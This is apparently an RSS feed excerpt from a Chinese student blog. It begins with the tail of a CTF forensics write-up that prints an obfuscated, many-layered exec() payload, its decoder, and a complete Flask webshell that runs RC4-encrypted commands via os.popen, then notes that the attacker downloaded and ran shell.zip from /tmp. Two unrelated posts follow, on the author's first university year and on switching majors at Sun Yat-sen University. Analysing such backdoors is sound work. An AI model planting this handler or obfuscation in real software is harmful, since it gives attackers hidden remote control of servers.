_ = lambda __ : __import__(&apos;zlib&apos;).decompress(__import__(&apos;base64&apos;).b64decode(__[::-1]))
exec(
    (_)(b&apos;=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&apos;)
)
&apos;&apos;&apos;

pat = r&apos;\((.*?)\)&apos;

while(True):
    matches = re.findall(pat, start)
    # print(matches[-1:][0][2:-1][::-1])
    start = matches[-1:][0][2:-1][::-1]
    start = zlib.decompress(base64.b64decode(start)).decode(&apos;utf-8&apos;)
    print(start)
    input()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发现套娃了 31 次：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog-asserts-1258307940.cos.ap-guangzhou.myqcloud.com/blogs/SnakeBackdoor-3.png&quot; alt=&quot;SnakeBackdoor-3&quot;&gt;&lt;/p&gt;
&lt;p&gt;这里的 RC4_SECRET 就是 flag。&lt;/p&gt;
&lt;p&gt;上一题的&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;global exc_class
global code
import os,binascii
exc_class, code = app._get_exc_class_and_code(404)
RC4_SECRET = b&apos;v1p3r_5tr1k3_k3y&apos;
def rc4_crypt(data: bytes, key: bytes) -&gt; bytes:
        S = list(range(256))
        j = 0
        for i in range(256):
                j = (j + S[i] + key[i % len(key)]) % 256
                S[i], S[j] = S[j], S[i]
        i = j = 0
        res = bytearray()
        for char in data:
                i = (i + 1) % 256
                j = (j + S[i]) % 256
                S[i], S[j] = S[j], S[i]
                res.append(char ^ S[(S[i] + S[j]) % 256])
        return bytes(res)
def backdoor_handler():
        if request.headers.get(&apos;X-Token-Auth&apos;) != &apos;3011aa21232beb7504432bfa90d32779&apos;:
                return &quot;Error&quot;
        enc_hex_cmd = request.form.get(&apos;data&apos;)
        if not enc_hex_cmd:
                return &quot;&quot;
        try:
                enc_cmd = binascii.unhexlify(enc_hex_cmd)
                cmd = rc4_crypt(enc_cmd, RC4_SECRET).decode(&apos;utf-8&apos;, errors=&apos;ignore&apos;)
                output_bytes = getattr(os, &apos;popen&apos;)(cmd).read().encode(&apos;utf-8&apos;, errors=&apos;ignore&apos;)
                enc_output = rc4_crypt(output_bytes, RC4_SECRET)
                return binascii.hexlify(enc_output).decode()
        except:
                return &quot;Error&quot;
app.error_handler_spec[None][code][exc_class]=lambda error: backdoor_handler()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;给了我们思路，最后七次的 HTTP 的 data 是被加密的 cmd&lt;/p&gt;
&lt;p&gt;解密脚本如下：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;RC4_SECRET = b&apos;v1p3r_5tr1k3_k3y&apos;
def rc4_crypt(data: bytes, key: bytes) -&gt; bytes:
        S = list(range(256))
        j = 0
        for i in range(256):
                j = (j + S[i] + key[i % len(key)]) % 256
                S[i], S[j] = S[j], S[i]
        i = j = 0
        res = bytearray()
        for char in data:
                i = (i + 1) % 256
                j = (j + S[i]) % 256
                S[i], S[j] = S[j], S[i]
                res.append(char ^ S[(S[i] + S[j]) % 256])
        return bytes(res)
import binascii
enc_hex_cmd= [&apos;a6bc&apos;, &apos;a3ab330fb285&apos;, &apos;acad614ef3d82c8445d275713899f04d0d3819fc3726cf57634b189e0e95cc1f93e57656105246251f453a8396a43a6534&apos;, &apos;bab6694ba3c938e64b8d257b7cccee460f6347f4363ed21c300c099f129b99028eb57408024e1c32061a&apos;,

 &apos;a2ae330da7846599188b26257a88f10b50790cb47e6a97177e1053c351&apos;, &apos;acb07e4db7c93ece4bcc37246687ae0649614caa3430ce4b&apos;, &apos;e0ac7e52fc996cc2038c2d7a3899ed&apos;]
for i in enc_hex_cmd:
        enc_cmd = binascii.unhexlify(i)
        cmd = rc4_crypt(enc_cmd, RC4_SECRET).decode(&apos;utf-8&apos;, errors=&apos;ignore&apos;)
        print(cmd)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://blog-asserts-1258307940.cos.ap-guangzhou.myqcloud.com/blogs/SnakeBackdoor-4.png&quot; alt=&quot;SnakeBackdoor-4&quot;&gt;&lt;/p&gt;
&lt;p&gt;可以看到，RCE的过程是下载 shell.zip 然后改名为 python3.13 扔到 /tmp/python3.13 里面执行。&lt;/p&gt;
&lt;p&gt;所以 flag 是 &lt;code&gt;flag{python3.13}&lt;/code&gt;&lt;/p&gt;</content:encoded><h:img src="/_astro/ccb.C23Rv0bN.webp"/><enclosure url="/_astro/ccb.C23Rv0bN.webp"/></item><item><title>大一下学期总结</title><link>https://blog.candlest.cc/blog/timeline/grade15</link><guid isPermaLink="true">https://blog.candlest.cc/blog/timeline/grade15</guid><description>整理磁盘碎片，再出发。</description><pubDate>Fri, 15 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;这篇文章有些文字现在看来也许有不认同的地方，但是作为「曾经思考过」的印证予以保留。&lt;/p&gt;
&lt;h1&gt;二月：憧憬与期待&lt;/h1&gt;
&lt;p&gt;提前一周回到了学校，刷刷 LeetCode Hot 100 并看看高数，每天晚饭前会去西大体育馆跑 3KM。&lt;/p&gt;
&lt;p&gt;此时的我大概内心有一团火：尽管自己现在是如此的不堪，也有机会凭借自己的努力去实现些什么……&lt;/p&gt;
&lt;p&gt;我想去软工院看看，一方面是解解乏，一方面是树立信心。&lt;/p&gt;
&lt;p&gt;于是我在开学前去了一次珠海校区。&lt;/p&gt;
&lt;h2&gt;珠海一日游&lt;/h2&gt;
&lt;p&gt;实在找不到前往珠海校区的好方式，毕竟不通地铁。&lt;/p&gt;
&lt;p&gt;于是约顺风车前往，从季华大桥出发，花费大约3小时的时间，我打开车门，清冷的空气扑面而来。爬上图书馆间的楼梯，可以俯瞰珠海校区的大部分。&lt;/p&gt;
&lt;h3&gt;软工院&lt;/h3&gt;
&lt;p&gt;穿过前亚洲最长教学楼，拐两个弯，就是软工院的院楼了。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog-asserts-1258307940.cos.ap-guangzhou.myqcloud.com/IMG_20250213_145300.jpg&quot; alt=&quot;软工院楼&quot;&gt;&lt;/p&gt;
&lt;p&gt;WASM 与 Linux，这大概是我想象中的计算机专业该干的事情之一吧。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog-asserts-1258307940.cos.ap-guangzhou.myqcloud.com/IMG_20250213_150349.jpg&quot; alt=&quot;BPF&quot;&gt;&lt;/p&gt;
&lt;p&gt;Kingsoft。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog-asserts-1258307940.cos.ap-guangzhou.myqcloud.com/IMG_20250213_133031_1.jpg&quot; alt=&quot;金山&quot;&gt;&lt;/p&gt;
&lt;h3&gt;再见唐家湾&lt;/h3&gt;
&lt;p&gt;后面又去看了两眼俊俊子中心。&lt;/p&gt;
&lt;p&gt;我也许还会回来。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog-asserts-1258307940.cos.ap-guangzhou.myqcloud.com/IMG_20250213_173840_1.jpg&quot; alt=&quot;唐家湾&quot;&gt;&lt;/p&gt;
&lt;h1&gt;三月：新宿舍，新朋友&lt;/h1&gt;
&lt;p&gt;终于申请了换宿舍。之前求助的兼辅一点事情都不管，感谢辅导员张老师，非常认真负责。在他的帮助下，成功换到了一个三人间。&lt;/p&gt;
&lt;p&gt;新的舍友不会半夜打 fps 游戏了，也算可以好好睡觉了。&lt;/p&gt;
&lt;p&gt;同时软工院的转专业考核标准也放在了官网上：竟然是手写程序设计。出于对这种考核方式的抵触以及对于热度的考虑，我不太想去软工院了。&lt;/p&gt;
&lt;p&gt;但是我又该去哪里呢？计算机学院太卷了，我深知我并非大神。软工院被我放弃了。AI 院似乎并非好的选择。智科只看数学成绩我讨不到好。那么……去网安院吗？&lt;/p&gt;
&lt;p&gt;让我 all in 网安的契机是在心理课上和一个&lt;strong&gt;非常非常温柔&lt;/strong&gt;的同学聊了数个晚上。我希望能与这样的同学继续同行一段距离，报名网络空间安全学院的最后一点疑虑被打消。&lt;/p&gt;
&lt;p&gt;我买了离散数学课本粗略学习，同时又啃了一点 CSAPP 和 《程序员的自我修养》，开始准备网安的面试。&lt;/p&gt;
&lt;h1&gt;四月：转专业前夜&lt;/h1&gt;
&lt;p&gt;四月的事情我已经不太记得，只记得当时非常焦虑无助。&lt;/p&gt;
&lt;p&gt;焦虑，焦虑，焦虑。&lt;/p&gt;
&lt;p&gt;我已经无法全神贯注在任何一节课上，完全不行。&lt;/p&gt;
&lt;p&gt;线代之前自学过一些，所以暂时能够没压力地放掉。高数和概率统计则完全是上课坐在最后一排干自己的事情，作业全部靠抄答案。&lt;/p&gt;
&lt;p&gt;至于大学物理和电子技术基础，我完全是没学，相信期末的自己的智慧。&lt;/p&gt;
&lt;h1&gt;五月：转专业&lt;/h1&gt;
&lt;p&gt;五月初的广州，又闷热又潮湿。从 203 出发，到达一教往往掉一身虫子。100 号人挤在狭窄的教室里面，我已经无所适从。&lt;/p&gt;
&lt;p&gt;于是，和在转网安群里面认识的一位发羊姐表情包的漫协群u对上暗号，决定一起去深圳校区准备机试面试。&lt;/p&gt;
&lt;p&gt;无悬念地，我和他在笔试和面试都取得了很高的成绩。&lt;/p&gt;
&lt;p&gt;无悬念地，出现在了最终接收名单中。&lt;/p&gt;
&lt;h2&gt;去期待深圳&lt;/h2&gt;
&lt;p&gt;深圳校区是物质上富有的：处处可以见到深圳的财力雄厚。再也不用在南校和大家摩肩接踵了——人均资源充裕的快乐。&lt;/p&gt;
&lt;p&gt;尽管听到了很多前辈对深圳校区的抱怨，我仍然认为：&lt;strong&gt;深圳校区还有很大的潜力未被开发。&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;去触碰未来&lt;/h2&gt;
&lt;p&gt;我认同曹丰泽这篇演讲稿：&lt;a href=&quot;https://user.guancha.cn/main/content?id=1097448&quot;&gt;《去非洲：中国青年工程师的“发展主义”选择》&lt;/a&gt; 。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;其实世界上也只有一种可笑的悲剧，就是你对生活抱有一种不切实际的美好期待，想象一个地上天国出来，然后当你发现它并没有你想的那么美好之后，你又一瞬间把生活看作一种一无是处的丑恶东西，你就像一个二极管一样在绝对的美和绝对的丑之间跳跃，可惜这两者都是假的。只有你真正完整地认识到一件事情的全貌，包括好的和不好的，你才有资格去评判你到底喜欢还是不喜欢它。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;模板不是唯一的。内卷烈度高的地方也不一定是必经之路。关键是询问自己的内心：你到底想做什么？&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;我想在本科期间获得扎实的计算机基础。&lt;/p&gt;
&lt;p&gt;我想用我所学的东西去构建新生的事物，去连接不同的领域。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;这些东西，相信以我的能力，能够在深圳校区的本科余下三年里一点点去探索、去实现。&lt;/p&gt;
&lt;h1&gt;六月：Gap 与期末考&lt;/h1&gt;
&lt;p&gt;转完专业一直处于放松状态。一个维持了一年的心魔就此解决。此后我也不会隔三岔五梦到高考了。&lt;/p&gt;
&lt;p&gt;不过，期末考如期而至，我速通完成了高数线代和概统，至少成绩还算过得去。但是电工和物理就不那么幸运了。尤其是大学物理，东西又多又难记忆，我喜提后25%的成绩，也是致敬了 Uniya 前辈了。虽然他比我做的东西多很多就是了。&lt;/p&gt;
&lt;h1&gt;七月：开发与……宅&lt;/h1&gt;
&lt;p&gt;考完期末先是在家面试，光荣成为 Matrix 的一员。&lt;/p&gt;
&lt;p&gt;又以一种奇怪的方式，成为了一个系统安全的大创的责任人。~终于找到正当方式学 Linux 了~&lt;/p&gt;
&lt;p&gt;深圳校区的宿舍太豪华了。我成天待在宿舍，偶尔去院楼，偶尔去健身房，偶尔去打 maimaiDX。&lt;/p&gt;
&lt;p&gt;每周定时定点收看当期新番剧，也算是久违地抛弃一切压力地享受作品了。&lt;/p&gt;
&lt;h1&gt;八月：寻找线索&lt;/h1&gt;
&lt;p&gt;八月先是在学 BPF 和 Android 相关的内容，空闲时间打打 MoeCTF 2025。&lt;/p&gt;
&lt;p&gt;八月中旬参加了 LilCTF 2025，很用心的比赛，三天的全身心投入让我感到一种充实感。&lt;/p&gt;
&lt;p&gt;我尝试将我发力的东西都集中在一条线上面。&lt;/p&gt;
&lt;p&gt;系统安全，Linux，PWN，Reverse，后端后台开发……&lt;/p&gt;
&lt;p&gt;技术是相通的，我一直相信，我希望能够理清楚每一个点延伸出来的线条，尝试用一个清晰的主题去串联他们。&lt;/p&gt;
&lt;p&gt;同时，我也在尝试新的东西：科研作图，机器学习…………&lt;/p&gt;
&lt;p&gt;我不知道我究竟会走向何方，但是有学习的时间和契机就应该好好珍惜。&lt;/p&gt;
&lt;h2&gt;一些小小的感悟&lt;/h2&gt;
&lt;h3&gt;噪音与信息&lt;/h3&gt;
&lt;p&gt;生存和发展需要信息。而有用的信息往往被成倍存在的噪音所隐藏。&lt;/p&gt;
&lt;h3&gt;专注时间&lt;/h3&gt;
&lt;p&gt;在大量接受新信息的情况下，一个人一天也许只能完全专注 5 小时。&lt;/p&gt;
&lt;p&gt;超量的工作不会让你增加更多效率，而是防止你把注意力消耗在带来负效果的地方。&lt;/p&gt;</content:encoded><h:img src="/_astro/summer.C-cvOmmv.webp"/><enclosure url="/_astro/summer.C-cvOmmv.webp"/></item><item><title>在中大被调剂怎么转专业（知乎）</title><link>https://blog.candlest.cc/blog/how-to-remajor-in-sysu</link><guid isPermaLink="true">https://blog.candlest.cc/blog/how-to-remajor-in-sysu</guid><description>写给后来者。</description><pubDate>Mon, 28 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;本回答原载于知乎[^1]。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;被调剂到中山大学护理学了 ……怎么办?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;我想你心里想的是：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;据说护理学以后学出来只能当一辈子护士……我好歹也是一个上 2 末 9 的分数，难道要做一辈子护士了吗？&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;或者说你的潜意识正在寻求一个肯定：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;希望有人能告诉我护理学的前途是光明的。让我有底气读下去。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;由于我对于医学类的了解较为肤浅，所以这里不谈论护理学的就业，去&lt;strong&gt;斗无用的蛐蛐&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;我能提供给你的信息是：在高松时代，中山大学的转专业变得&lt;strong&gt;极其宽松&lt;/strong&gt;。并且尤其利好咱们这些&lt;strong&gt;被广义的“天坑”专业录取的学生&lt;/strong&gt;，能够有读&lt;strong&gt;新工科、强势工科&lt;/strong&gt;的机会。&lt;/p&gt;
&lt;p&gt;作为刚在中山大学&lt;strong&gt;从某医学类专业转到某理工科再转到网安&lt;/strong&gt;的学生，我觉得我有把握对你说：&lt;strong&gt;被调剂到中山大学护理学了，前途依旧光明&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;不去管少部分&lt;strong&gt;不擅长宣传&lt;/strong&gt;的学校官媒，就作为学生个体，我来讲解一下&lt;strong&gt;中山大学目前的转专业形势&lt;/strong&gt;。&lt;/p&gt;
&lt;h2&gt;二次遴选：追求热爱或调整身位&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://www.zhihu.com/people/06d5bf4f4f8a2e24aef9c52d6668b641&quot;&gt;可以参照 LILYINSUN 的回答&lt;/a&gt; 对此的回答已经很完整精炼，我不再赘述。&lt;/p&gt;
&lt;p&gt;2026-02-20T23:55:50 补充，2025 2026 的二次遴选专业越来越多了。它只会越来越丰富，越来越多。&lt;/p&gt;
&lt;h2&gt;转院系专业：不限次数&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;根据《中山大学本科生学籍管理规定》，招生时有明确规定不能转院系专业者，休学、保留学籍期间或达到退学条件者，不允许转院系专业。其他在读学生可提出转院系专业申请。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;也就是说，只要你不是定向外语体育以及强基学生，&lt;strong&gt;哪怕&lt;/strong&gt;你已经成功&lt;strong&gt;转了一次专业&lt;/strong&gt;，&lt;strong&gt;哪怕&lt;/strong&gt;你是通过&lt;strong&gt;综合评价、地方专项&lt;/strong&gt;降分录取的学生，都可以在每年的四月下旬到五月上旬转专业系统开放的时间，&lt;strong&gt;递交你的转专业申请表&lt;/strong&gt;。正所谓“转出无限制”。&lt;/p&gt;
&lt;p&gt;是的，自 2025 年开始，我们有&lt;strong&gt;无限次数的转专业&lt;/strong&gt;了，只要你能够在你取得中大本科学籍的六年内（转到医学是七年）修完学分，你就能够&lt;strong&gt;正常毕业&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;这意味着转专业的&lt;strong&gt;试错成本进一步降低&lt;/strong&gt;，在中山大学你被赋予了更多的机会去&lt;strong&gt;寻找你自己的道路&lt;/strong&gt;。&lt;/p&gt;
&lt;h3&gt;六个电信类学院，五个计算机类学院：转院系专业 324 个名额转入强势工科&lt;/h3&gt;
&lt;p&gt;罗俊时代的摊大饼政策导致目前中山大学拥有&lt;strong&gt;六个电信类&lt;/strong&gt;学院（专业）&lt;strong&gt;，五个计算机类&lt;/strong&gt;学院（专业） &lt;strong&gt;：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;六个电信类学院（专业）：东校电信、南校系统、深圳电通、集成电路、珠海微电、柔性电子&lt;/p&gt;
&lt;p&gt;五个计算机类学院（专业）：东校计算机、深圳智科、深圳网安、珠海软工、珠海 AI[^2]&lt;/p&gt;
&lt;p&gt;就 &lt;strong&gt;《中山大学 2025 年本科生转院系专业（招生选拔）接收计划和实施细则》&lt;strong&gt;文件来看，每年的&lt;/strong&gt;转院系专业环节&lt;/strong&gt;一共有 324 个强势工科专业的转专业名额。其中大部分都&lt;strong&gt;并不设置很高的要求&lt;/strong&gt; ：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;申请要求： （一）招生时有明确规定不能转院系专业者，休学、保留学 籍期间或达到退学条件者，不允许转专业。 （二）已修读高等数学或数学类相关课程，至少一门成绩不低于 60 分。 符合申请要求的进入考核环节。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;大部分专业的&lt;strong&gt;申请要求&lt;/strong&gt;都是“&lt;strong&gt;转入低门槛&lt;/strong&gt;”。只要你不是死磕某一个申请要求高或者后续评审要求严的专业如&lt;strong&gt;东校计算机、深圳智科、东校电信&lt;/strong&gt;，摆正你的态度在笔试和面试中&lt;strong&gt;让老师看到你的热情和决心&lt;/strong&gt;，你都能够读到你想要的专业。&lt;strong&gt;高考分数不会成为你的枷锁。&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;中山医和中大医临床：90 个名额点亮你的临床梦&lt;/h3&gt;
&lt;p&gt;中山大学的临床医学毫不夸张是全国除了协和北大、上交复旦之下的&lt;strong&gt;第一梯队&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;中山大学所处的粤港澳大湾区，无疑是除了北京、长三角以外&lt;strong&gt;经济最繁荣的地区&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;而坐拥这样实力的中山大学，在深圳医学院却开出了这样的申请条件，并招收 60 人：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;申请要求： （一）招生时有明确规定不能转院系专业者，休学、保留学 籍期间或达到退学条件者，不允许转专业。 （二）高考为理科考生或高考选考物理。 （三）无色盲、色弱情况。 符合申请要求的进入考核环节。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;而高高在上常有独立情绪的中山医学院（原中山医科大学），却也松口给出了自己的条件，并招收 20 人：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;申请要求： （一）招生时有明确规定不能转院系专业者，休学、保留学 籍期间或达到退学条件者，不允许转专业。 （二）高考为理科考生或高考同时选考物理和化学。 （三）入学以来无不及格课程记录。体测成绩及格（已参加 过的体测平均分≥60 分，免测除外）。 （四）无色盲、色弱情况。 （五）申请转入临床医学专业的学生，入学后须已修读过《数 学分析》、《高等数学一（I）》、《高等数学二（I）》、《高 等数学三（I）》、《高等数学四（I）》、《医科数学》中的 至少一门课程，且每门课程的成绩排名位居所在年级专业前 25%（含）以内。符合申请要求的进入考核环节。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;以及光华口腔医学 10 人：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;申请要求： （一）招生时有明确规定不能转院系专业者，休学、保留学 籍期间或达到退学条件者，不允许转专业。 （二）在校期间无任何违法违纪行为，未受过任何纪律处分。 （三）原专业对应学位为医学、理学或工学学位的学生。 （四）高考英语成绩不低于 125 分，且已修大学英语成绩不低 于 90 分。 （五）身心健康，无色盲、色弱、听力障碍以及严重慢性疾 病等可能影响从事高度集中精细工作的身体状况。 符合申请要求的进入考核环节。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;诚然，出于三明医改等原因，2025 年临床学科的高考招生爆冷。但是我相信真心热爱临床医学的学生并不会变少，而且临床医学的&lt;strong&gt;长期社会预期并不低&lt;/strong&gt;。&lt;strong&gt;如果你有一个临床梦，中山大学是你梦的桥梁。&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;尾声&lt;/h2&gt;
&lt;h3&gt;逐梦与保底&lt;/h3&gt;
&lt;p&gt;在中山大学的一年，我见到了压线考入中山大学生态学的同学却凭借自己努力自学高代数分，最终&lt;strong&gt;逐梦成功&lt;/strong&gt;转入超高要求的广州数学学院的。&lt;/p&gt;
&lt;p&gt;在中山大学的一年，我也见到了被调剂到冷门专业的同学，即使自身积累和规划不足，也顺利转入生物医学工程、机械、能动、智慧交通、信息管理等就业前景更加开阔的专业，&lt;strong&gt;追求保底的&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;在中山大学的一年，我也见到了错过 22、23 年转专业的&lt;strong&gt;大三迷茫老登逐梦逻辑学&lt;/strong&gt;，重回大一开启新生活的。&lt;/p&gt;
&lt;p&gt;在中山大学的一年，我也见到了文科专业的同学，由于自身热爱&lt;strong&gt;打动老师转入理工类专业&lt;/strong&gt;的。&lt;/p&gt;
&lt;p&gt;一谈起转专业，大家的嘴里总是“转码”，总是在谈论在舞台最中央的人，总是在谈论高薪资“拿大包”。&lt;/p&gt;
&lt;p&gt;但是我想说的是，在高校的实践中已有的数据表明的是，&lt;strong&gt;转专业的最大受益者是所谓天坑专业的学生&lt;/strong&gt;，他们能从&lt;strong&gt;或糊里糊涂地或早有预谋地&lt;/strong&gt;报考的一个天坑专业中，&lt;strong&gt;哪怕在自身实力不够，不能卷到最顶端&lt;/strong&gt;的情况下，获得一个转到一个学习和就业相对 &lt;strong&gt;“正常”“光明”&lt;/strong&gt; 的专业的机会：比如浙江大学 2025 初的转专业数据中，最热门的专业不是计算机而是机械，而其来者正是农学、土木、环境专业的学生。&lt;/p&gt;
&lt;p&gt;而护理，恰好具有这种特质。如果你爱护理学，自然可以读下去。而如果你不爱护理学，中山大学也给了你&lt;strong&gt;一个自由选择的机会&lt;/strong&gt;。&lt;/p&gt;
&lt;h2&gt;大势所趋&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;苦读寒窗十年，缺乏社会经验&lt;/strong&gt;的学生（ta 的父母或许也并没有深刻的洞见），却只有&lt;strong&gt;一两周来决定自己未来一生的专业&lt;/strong&gt;。这难道不是一件不合理的事情吗？&lt;/p&gt;
&lt;p&gt;国家在逐步放开转专业，作为一种&lt;strong&gt;降低高考生试错成本&lt;/strong&gt;的方式，此为大势所趋。&lt;/p&gt;
